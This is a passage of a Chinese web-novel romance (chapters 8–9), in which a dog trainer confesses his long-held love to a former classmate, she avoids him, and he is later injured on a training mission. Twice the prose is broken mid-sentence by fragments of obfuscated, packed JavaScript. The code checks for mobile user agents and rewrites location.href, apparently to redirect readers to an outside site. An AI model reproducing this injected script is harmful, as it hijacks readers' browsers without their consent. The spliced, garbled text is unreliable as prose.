再后来,他慢慢看出来,再碰上向自己表白过的人,她的表现是显而易见的疏离。 他当时想,还好,还好她对谁都这样。 可为什么,她对谁都这样啊? 邱柏止那时候不明白,现在好像也不完全明白。 她明明对谁都好,温和、有礼、周到,就像是春天里的风,吹到谁身上都是暖的。 可那阵风从来不会为谁停下来。 他想靠近,她就往后退一步。他再往前,她就再退。 她面前似乎画了一条楚汉分界线,从不让任何人越过。 而他,从高中到现在,始终站在那条线外面。 所以邱柏止一直以来也只好装作若无其事的样子,尽量不把自己的喜欢表现出来,心安理得享受她时不时的注视。 他想,自己甚至要感谢苏禾。 因为苏禾实在是太爱八卦了,每天课间都要拉着温雪吟聊这聊那,聊隔壁班的谁和谁在一起了,聊走廊上哪个男生今天穿了什么。 而邱柏止,恰好是苏禾嘴里经常出现的一个名字。 因此在同桌的那两年里,她的目光偶尔会落在他身上,短暂地、不经意地,又很快转移视线。 她偷看的手段实在太低级,其实邱柏止每一次都能发现,面上还得装作什么都不知道的样子,低头写题,翻书,神色如常。 把所有憋在心里的话倾倒出来,邱柏止却并不觉得如释重负。 “抱歉,我本来不想在你还生着病的时候说这些,感觉有点不合时宜,像是趁虚而入,也怕你觉得我是出于同情。” 他抬起头,一字一顿,句句有力:“可是,你是真的没有看出来吗。” 大脑接收的信息量已经有些超标,温雪吟脑袋昏沉,费力抬了抬眼皮:“什么?” 邱柏止:“我喜欢你这件事。” 房间里安静了几秒,温雪吟吸了吸鼻子,没头没尾地问了句:“那你怎么还是说了。” “因为我等不了了。”他看向她的眼睛,神色认真,“我想光明正大地关心你、照顾你,而不是遮遮掩掩,只拿合作伙伴当借口靠近你。追求者也好,不喜欢我也罢,我都认。” “我知道你很独立、很坚强,这么多年来都是自己扛过来的,风风雨雨一个人也能走得很稳,或许早就习惯了,不需要别人帮忙。 “可我也想在你的生活中有一席之地,想参与你的一切,不想站在远处看着,更不想等你撑不住了才伸手,而是在你需要帮助的第一时间,就能够理所当然地出现。 “想和你一起吃顿热乎的饭,想在你累的时候替你倒杯水,想在下雨天问你带没带伞,想听你说那些开心的事、烦心的事,还有那些懒得跟别人讲的琐碎。” 你或许不知道。 从很久以前,我就开始羡慕那些能理所当然站在你身边的人。 我也想成为那样的人。 我也想和你的缘分,再深一点。 8. 08·躲避 外面的车声被压缩成遥远而模糊的低响,房间内只能听见彼此的呼吸声。 从邱柏止说第一句话开始,温雪吟就怀疑自己还在做梦。 他一字一句讲得很慢,但没有留给人插话的余地。 直到最后一句落下。 沉吟过后,温雪吟正要说些什么,就被他打断。 邱柏止:“现在,先不要给我答案。” 温雪吟:“?” 邱柏止:“我会自己来找的。” “我知道你现在或许还不喜欢我,或者还不够,但不要将就,拒绝还是答应,都等你想清楚了再说。” “在那之前,我会自己来找答案。” “……” “这题答案是啥啊?” 寒假最后一天,苏禾约温雪吟来图书馆补作业,奋笔疾书间抽空问道。 “自己找。”温雪吟翻了一页手里的书,头也没抬,直接把自己的作业本推了过去。 都高二了,这点默契还是有的。 苏禾“嘿嘿”两声,半小时后把笔盖一合:“搞定!” 声音有点大,周围不少人看了过来。 她讪讪一笑,忽然想起些什么似的,又压低声音问温雪吟:“话说,我们班那个体育生,是不是跟你表白了啊?” “嗯。” 苏禾:“这你拒绝的第几个了?” 温雪吟很是无奈:“我不想谈恋爱啊。” “但你不觉得在老师眼皮子底下谈恋爱很刺激吗?不都说没有早恋过的青春是不完整的吗?要谈就谈轰轰烈烈、全世界都知道的那种。” 苏禾托着下巴,脸上浮现出向往的神情。 温雪吟想了想:“可能我想法不太一样吧,我现在没什么精力去考虑这些事情,也不需要别人喜欢我。一直纠缠不休的话,对我来说反而是一种困扰。” “有人喜欢还不好啊?证明你很有魅力诶。”苏禾小声说。 “魅力不是靠别人喜欢来证明的。” 随后,温雪吟弯了弯唇角。 “我不需要另一个人来衬托我的价值,我的存在本来就是世界的礼物。” // 工作的日子跟以往没什么不同,陪训员交替值班,邱柏止对她也看不出什么特别。 只是温雪吟迟钝地反应过来,他那些奇奇怪怪的表现,好像是因为喜欢自己。 比如,给她发表情包。 这天是蒋江陪训,温雪吟把邱柏止发来的要求拿给他看,没想到蒋江的关注点完全偏了。 “邱队从来不发上面这些表情包啊,”蒋江一脸狐疑,欲言又止,“你是不是加错人了?” 温雪吟默默把手机收回来,没吭声。 屏幕还在亮。 邱柏止:「点头小狗jpg.」 邱柏止:「在干嘛呀猫猫探头jpg.」 温雪吟:「上班」 温雪吟回得很公事公办。 “好的、好、ok”几个词轮换发,不再像之前那样回以他相同的表情包,但对面仿佛找到了什么新乐趣一般,乐此不彼。 某个周末,蒋江一拍脑袋,反应过来什么,跑去问邱柏止:“邱队,你觉不觉得最近温老师在躲你啊?” 邱柏止垂下眼,若有所思。 食堂碰见就跑,下班直接消失,周末更是找不到人。 一周本来就见不到几次面,那几次还是邱柏止主动找别的训导员换来的陪同训练。 所有同事还都对他肃然起敬,以为他真是个工作狂。 说好听点吧,至少没有给她拒绝自己的机会。 说得更直白一点,其实机会也没了。 “你对人家做什么了?” 蒋江脑回路清奇,惊恐地盯着邱柏止,“难道……你表白被拒了?” 邱柏止缓缓闭上眼睛。 从某种程度上,也猜得八九不离十了。 他打开手机给妹妹邱念发消息。 邱柏止:「1。」 邱念:「哥,我真没有表情包了。。」 邱念:「别每天找我要了好吗。」 邱柏止:「不是这个。」 邱念:「我也没法帮你分析人家怎么想的,每次就回一个好,能看出花来?」 邱柏止:「……」 邱柏止:「不是你说的,要帮我追人?」 邱念快要崩溃了。 连续十四天,整整十四天,她哥每天不是来要表情包,就是甩张截图问:「你说她这个回复什么意思?」 她是说要帮他追人,但也没说对面这么难追啊! 一开始是震惊,她哥,她那个从小到大对女生拒而远之的亲哥,居然会主动追一个女孩子? 谁知道温老师这么油盐不进! 邱柏止:「你小red书平台是不是和她互关了?」 邱柏止:「账号密码借我。」 中午吃完饭,温雪吟照常拍了几张狗狗的照片和视频,发到平台上,正准备退出去,发现互关私信里多了个小红点。 今天也是猫狗双全:「温老师,我们最近举办了个跟宠物有关的募捐会,希望你能来出席一下,你看你方便吗?」 今天也是猫狗双全:「图片jpg.」 温雪吟想起来了,对方是前段时间给学校做过澄清的那个宠物博主,也是邱柏止的妹妹,当时为了收集素材加上的好友。 点开图片,上面写着具体的时间和地点。 周六,正好她那天休息。 梦想狗狗学校:「可以呀」 梦想狗狗学校:「敬礼jpg.」 隔了一分钟,对面回了个一模一样的表情包。 温雪吟没忍住笑,不愧是兄妹吗,连聊天反应都一模一样。 另一边,邱柏止正盯着温雪吟发给邱念的表情包。 邱念一把抽走自己的手机,扫了眼他摊开的手机上和温雪吟空荡荡的聊天框,幸灾乐祸地说:“哥,你追人进度怎么还是零啊。” 邱柏止一言不发,不知道在想些什么。 “真没想到你也有吃瘪的一天,”邱念嘟囔了一句,然后拍拍邱柏止的肩膀,语气里带了点真心的期许:“路漫漫其修远兮,加油啊哥,还是希望你能幸福。” 本想通过邱念的账号跟温雪吟联系,但被邱念以“这是欺骗”的理由强烈反对,最终退而求其次,只为他们的见面创造机会。 邱柏止这下是真的有点后悔了。 不该这么快表白的,怎么说也该给她点缓冲的空间。 躲他跟躲瘟神似的。 周六,天气晴朗,万里无云。 募捐会在一个宠物友好型的文创园区举行,入口处挂了五颜六色的气球,志愿者牵着几只狗狗在草坪上晒太阳。 温雪吟到得比预期早了一刻钟,她牵着边牧年糕站在签到处填表,心里盘算着打完卡就走。 “温老师!” 邱念从里面小跑出来,笑得热情洋溢,她弯腰摸了摸年糕的头,然后自然地挽住温雪吟的胳膊: “来,我带你进去转转,今天有好几个有意思的环节——” 话音未落,温雪吟的目光越过邱念,无意间扫向远处,然后定住了。 男人穿了一件黑色的薄毛衣,袖子卷到小臂,正半蹲着身子给一只拉布拉多喂水。 旁边有人跟他说话,他偏头听完,点了点头,然后像是感应到了什么,忽然抬起头来。 四目相对。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478335|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温雪吟的手指下意识收紧了牵引绳。 邱柏止明显也愣了一下,目光从她的脸上滑过,只微微点头算作招呼,而后主动移开了视线。 “那个……”温雪吟小声问邱念,“你哥也在啊?” 邱念眨了眨眼,表情无辜:“他啊,他是这次最大的捐赠方嘛,肯定要来的。不过你放心,他今天忙得很,不会打扰你的。” 得到这句保证,温雪吟稍稍放下了心。 她现在还不知道该怎么面对邱柏止。 没多久,邱念拉她参加了一个“主人和狗狗协作赛跑”的游戏环节。 场地不大,用围栏圈了条短短跑道,中间摆了几个低矮的障碍物,游戏规则是要牵着狗一起跨过去,用时最短的获胜。 温雪吟本来不想参加,但年糕似乎很想玩,急得直转圈,扯着她的裤脚就往游戏场地跑。 邱念在旁边拱火:“上嘛上嘛,重在参与!” 她只好牵着年糕站到起跑线。 哨声一响,年糕就蹿出去了,温雪吟被拽了个踉跄,差点扑地,好不容易才稳住。 前两个障碍物还算顺利,年糕毕竟是边牧,灵活得很,轻轻松松就跳过去了。 然而,到第三个障碍物的时候,出事了。 不知怎的,旁边赛道的一只大型犬突然兴奋起来,偏离路线直直朝年糕冲过来。 那狗比年糕大了一倍有余,速度又快,温雪吟还没反应过来,对方已经扑到了年糕面前。 把年糕吓得发出一声短促的吠叫,本能地往后缩。 温雪吟弯腰去捞它,结果牵引绳被两只狗缠在一起,她重心一歪,整个人往地面摔去—— 就在这时,一只手从后面揽住了她的腰。 整个人被捞了回来,后背撞上男人的胸膛,那只手在她腰侧停了一瞬间就松开了,转而握住她手里的牵引绳,用力一拽,把两只狗分开。 “别动。” 邱柏止的声音很低。 温雪吟僵住了,脑子一片空白。 邱柏止侧身挡在她和那只大型犬中间,微微弯腰,用手背蹭了蹭那只狗的鼻子:“没事,坐下。” 那只大型犬慢慢安静下来。 工作人员这才跑过来,连声道歉,把那只大狗牵走了。 邱柏止直起身,转头看她。 温雪吟正蹲在地上搂着年糕,翻来覆去地看它有没有受伤,年糕呜呜地往她怀里钻,身子还在抖,但看着没什么事。 “伤着了?”邱柏止问。 温雪吟抬起头,发现他离得很近,表情不算紧张,但眼神在她身上快速扫了一遍,像是在确认她有没有摔到。 “没有,”温雪吟摇摇头,顿了顿说:“谢谢。” 邱柏止没走,蹲了下来,跟温雪吟平视,伸手摸了摸年糕的头。 年糕愣了一下,然后主动把头往他掌心里蹭了蹭。 “它胆子算大的,”邱柏止说,语气比刚才软了一些,“换别的狗可能半天缓不过来。” 温雪吟抿了抿唇,不知道该说什么。 邱柏止也没在意她的反应,从口袋里掏出一小包宠物肉干,递到她面前:“刚才在义卖摊位买的,给它压压惊。” 温雪吟接过,又重复了一遍:“谢谢。” 邱柏止点了下头,站起来,目光在她脸上停了一瞬,像是想说什么,但最后只是把手插回口袋,转身走了。 温雪吟站在原地,心跳快如擂鼓。 年糕从她怀里探出脑袋,冲着邱柏止离开的方向“汪”了一声。 那声“汪”里带着一种奇怪的讨好意味。 后知后觉他已经走远了,温雪吟把年糕的脸掰回来,小声说:“你到底是哪边的?” 9. 09·喜欢 回到家已经快五点了。 温雪吟换了鞋,先给年糕擦脚,再倒了狗粮,然后自己瘫在沙发上,盯着天花板发呆。 年糕吃饱了,凑过来用脑袋拱了拱她的手,尾巴轻轻甩了几下。 “你说,”她揉了揉年糕的脑袋,自言自语地问,“他到底是什么意思?” 年糕无法回答,只无辜地睁大眼睛,看向温雪吟。 温雪吟长叹一口气,收拾东西洗澡去了。 // 邱柏止家,邱念坐在沙发上,严肃地看着她哥。 邱柏止头疼,“你还想知道些什么?” “所以其实你高中就喜欢雪吟姐了?” “嗯。”他应得坦荡。 “那为什么高中不……”刚说出口,邱念自觉失言,索性换了一个问题,“过去这么多年了,你怎么确定你还喜欢她?” 沉默几秒,邱柏止低声说:“那时候,不确定的太多了。” 不确定未来、不确定她对自己的感觉、不确定会不会给她带来困扰。 更不确定,当时一无所有的自己,是否有资格站到她身边。 邱念细细打量起邱柏止。 从小被夸到大的长相,轮廓生得极为舒展好看,眉骨锋利,鼻梁高直,唇形偏薄,皮肤是常年在外晒出的浅麦色,衬得五官愈发立体分明。 他低垂下眼,薄薄的唇又张开。 “工作后有一年在野外驻训,晚上站岗的时候,莫名其妙的,我想起了她。” 高一那年的中秋晚会,大家都围坐在操场草坪上欣赏临时搭建起来的节目,草丛中蚊虫肆虐,空间中弥漫着浓烈花露水的味道。 虽然环境不好甚至可以说是恶劣,但对于此刻压力繁重的高中生来说,好歹也算一个娱乐活动。 邱柏止选了个离温雪吟很近的位置,看着她的背影,听她和朋友嬉戏打闹。 中场休息时,幕布很暗,连带着他们坐的这一片草地都浸在昏暗中。 邱柏止看见,女孩眼睛亮晶晶的,抬手指着天上说,“今晚月亮好圆。” 她旁边的人奇怪地看了她一眼,“今天是中秋,当然圆啊。” “我知道,但我还是想说,”女孩忽然弯起眼笑了,声音很亮:“中秋节快乐!” 不知道为什么,她今天尤其兴奋,又转过头,对他说了一句节日快乐。 还没等邱柏止反应过来,她又说: “不要总冷着脸嘛,多笑笑,你笑起来肯定很好看。” 自己的瞳孔里突然映出了别人的色彩,邱柏止愣在原地。 “她人很好,对谁都很好。”不明所以的邱念又听到他哥重复了一遍这句话。 邱柏止:“以前我们班上,从不会有人真的落单。因为她总会留意到那些孤零零的人,主动把人拉进热闹里。” 也把当年那个沉默寡言、格格不入的他,一起拉了进去。 刚升入高中时,他在原来那所学校才待了不到一个月,就要从一个城市搬到另一个城市,转到另一所新学校,他被连根拔起,扔进一个完全陌生的地方。 新学校的人已经有了自己的小团体,下课铃一响,三五成群地聊着只有他们才懂的事。 他坐在靠窗的最后一排,看着那些热闹,像隔着一层玻璃。 直到有一天,一个女孩言笑晏晏地从人群中转过身,笑着朝他挥了挥手。 说到这里,邱柏止声音变闷了些。 “所以,喜欢她实在是一件,再正常不过的事情了。” 听完这一段往事,邱念感慨万千,她吸了吸鼻子,作加油状:“哥,你一定要早点追到雪吟姐啊!” 邱柏止平复下心情,再开口时声音已经如常。 “你今天不回去?”他问。 “哦对!”邱念急忙拿出手机看了眼,提起放在一旁的包就站起身。 邱柏止:“我送你?” “不用啦不用啦哥,”邱念摆摆手,狡黠地眨眨眼,“有人来接我了,你的副驾位还是留给雪吟姐吧!” 空旷的房间重新恢复安静。 邱柏止打开手机发消息:「年糕今天没什么事吧?」 温雪吟:「没事,今天谢谢你/笑脸/」 沉吟片刻,邱柏止慢慢打字:「你考虑得怎么样了?」 最终还是删去。 邱柏止:「我下周要去外地出个任务,一整周都不在,工作方面的事可以跟蒋江联系,他都知道。」 看到对面回了一个“好的”,邱柏止放下手机。 “啪”一声,杂物间的门被推开。 由于许久无人打扫,灰尘扑面而来,邱柏止浑不在意,径直走向角落。 地上摆着一只旧箱子,封箱胶带早已泛黄,他徒手撕开封口。 率先映入眼帘的是一本相册。 翻开相册第一页,照片里的小女孩扎着羊角辫,笑得眼睛弯成月牙,小男孩站在铁栏杆这一边,明明一脸冷淡,却还是被强行拉着入镜,中间那只拉布拉多吐着舌头,脑袋歪歪地挤在两人中间。 视线在那张照片上停了许久,邱柏止没再往下翻,转而在箱子里继续翻找着别的东西。 一根很旧的草莓图案的头绳。 几张从作业本上随手撕下来的小纸条。 唯独没有他的高中毕业照。 以及。 厚厚一沓自始至终没送出去的信。 指尖抚过最上面一张的字迹,确认找到了想要的东西,他才缓缓收回手,珍而重之地合上了旧箱子。 // “温老师?温老师?” 面前的同事连唤了好几声,温雪吟才猛地回过神。 她迅速敛去眼底恍惚,抬眼轻声道:“抱歉,怎么了?” “看你这几天总魂不守舍的,”对方笑了笑,“又到周末了,我们几个打算晚上聚餐,你一起吗?” 温雪吟本想习惯性拒绝,话到嘴边忽然顿了顿,像是想起了什么,最终点了点头:“好。” 继续对着电脑工作,温雪吟眼神不自觉掠过毫无动静的手机,屏幕暗着,没有消息。 心下空落落的,不知是何滋味。 一周时间已经过去了,邱柏止那边没有丝毫消息传来。 重逢以来,这还是第一次和他这么久没联系,温雪吟有点不习惯。 聚餐定在学校附近一家新开的火锅店,店内热气腾腾,人声鼎沸。 正值饭点,包厢早已满客,他们只得在大厅落座。 菜品上得慢,老师们三三两两聚在一起谈笑,温雪吟始终没怎么参与话题,只在有人问到她时,才浅笑着应声一句。 等餐期间,温雪吟不经意间抬头望了眼大厅正中央放映的电视机。 本地新闻频道正在播一则简讯。 画面是航拍,一片训练基地的俯视图,绿色的操场上停着几辆军用卡车,红蓝相间的警戒线拉了一圈。 “……昨日下午,我市某训练基地在开展犬只实战演练时发生意外,一名军犬训导员在任务中受伤,目前正在医院接受治疗……” 温雪吟心一提,接着电视画面切换了。 一个穿着作训服的身影被担架抬出来,画面晃动,角度也不好。 灰扑扑的作训服上沾着深色的痕迹,看不太清是泥还是别的什么。 那张熟悉的脸从镜头前一晃而过,眉头紧皱,眼睛闭着,额角有一道暗红色痕迹,一只手垂在担架边缘。 “温老师?温老师!” 新闻还在放,同事的声音像是从很远的地方传来的,温雪吟大脑浑浑噩噩,发现自己不知道什么时候站了起来,椅子向后滑出去,撞到了后面那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478336|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌。 “你没事吧?脸色好差。”其中一个关系最好的女同事担忧地看着她,伸手去探她的额头。 温雪吟没回答,低头去拿椅子上的包,拉链拉了两下才拉上。 “抱歉,”她张了张嘴,不知道自己在说什么,“我现在有点急事,要先走一步。” 出了火锅店,温雪吟胡乱抹了抹眼角,给蒋江打电话。 “嘟嘟”两声,对面很快接通。 “喂?”他的声音透过电流声传过来,听得出那边环境很嘈杂,像在某个热闹的场合。 温雪吟很冷静地问:“邱柏止现在在哪?” “邱队啊?出差一周还没回来呢,他没跟你说——” “医院在哪?”温雪吟打断他的话。 听筒那头一下子噤了声。 随后,蒋江的声音低下来。 “市中心人民医院,我发你地址。” 对话框跳出一个定位,又闪了两条新消息。 蒋江:「邱队说,他不是故意瞒着你的」 蒋江:「他现在已经没什么大碍了,只是在病房修养。」 一辆出租车停下来,温雪吟拉开车门坐进去,报出医院的名字。 她垂眸看着蒋江接连发的好几条消息,但没回复。 “姑娘,你没事吧?”司机从后视镜里看了她一眼,“你脸色不太好。” “没事,”温雪吟声音有点哑,“麻烦快一点。” 车开出去,窗外是流动的街灯和车流,橘色的光晕一明一暗地划过她的脸。 她靠在车窗上,玻璃冰凉。 脑子里反复回放着邱柏止躺在担架上的那个画面。 和脑海深处某个画面重叠。 想起母亲曾经就是这样被抬到担架上,ICU外,医生拉下口罩,遗憾地说:“抱歉,我们已经尽力了。” 温雪吟用力咬住了嘴唇,心里涌现一阵后怕。 车停,温雪吟付了钱,推开门,往医院大厅跑。 走廊很长,白炽灯亮得刺眼,脚步声在空旷的走廊里回荡,急促且混乱。 邱念在病房门口的长椅前来回打转,看到她来,眼圈一下子红了。 “他怎么样?” “已经醒了,医生说没有生命危险,但是,”邱念吸了吸鼻子,“但是还在昏迷,左手臂骨折,还有几处软组织损伤,额角缝了五针。” 闻言,温雪吟脱力般倒在椅子上。 病房里很安静,只有监护仪发出的规律滴滴声,窗帘半拉着,城市灯光在白色床单上投下影子。 邱柏止额角贴着纱布,脸色很白,左手臂打着石膏,搁在被子上,右手背上扎着留置针。 温雪吟站在床边,这一刻清晰地觉得,他好脆弱。 脑海里不受控制想起邱念临走前的那句话: “他昏迷前,反复交代,不让我们告诉你。” 深夜,邱柏止缓缓睁开眼,视线刚清晰,就落在床边陪床椅上。 温雪吟蜷在那里睡着了,眉眼间还带着未散的疲惫,长发垂落在肩头,呼吸轻浅。 把衣服盖在她身上,邱柏止伸出手,摸了摸她的头顶。 “还是来了啊。”他低声呢喃,语气像落了叹息。 “明明说了,不想给你压力,”怕惊扰这片宁静,他将声音放得很轻很轻,“可我还是像个莽撞无措的少年,忍了又忍。” ”我只是觉得,如果现在不说,我可能会再后悔一次。” 整个世界都在这一瞬间被按下了暂停键,他的话语掷地有声。 “我喜欢你,温雪吟,从高中到现在。” 十年如一日的。 从前、往后、现在。 我自始至终,都只喜欢你。 陪床椅上,温雪吟紧闭的眼睫一颤,眼泪终于掉了下来。